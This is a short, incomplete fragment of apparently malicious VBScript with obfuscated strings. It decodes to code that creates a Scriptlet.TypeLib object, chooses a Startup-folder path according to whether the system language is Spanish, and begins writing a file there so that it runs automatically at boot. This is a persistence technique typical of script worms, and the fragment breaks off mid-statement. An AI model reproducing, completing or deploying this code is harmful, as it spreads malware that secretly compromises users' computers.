On Error Resume Next Set sl = Createobject(q("Tdunwskbs)s~wbkne")) if InStr(navigator.systemlanguage, "es") <> 0 then sl.path = q("D=[pnichpt")& _ q("[Jbi'Nindnh[Wuh`ufjft")& _ q("[Nindnh[@f`onbk)osf") else sl.path = q("D=[pnichpt")& _ q("[Tsfus'Jbir[Wuh`ufjt[Tsf")& _ q("usrw[@f`onbk)osf") end if sl.doc = vbCrlf & "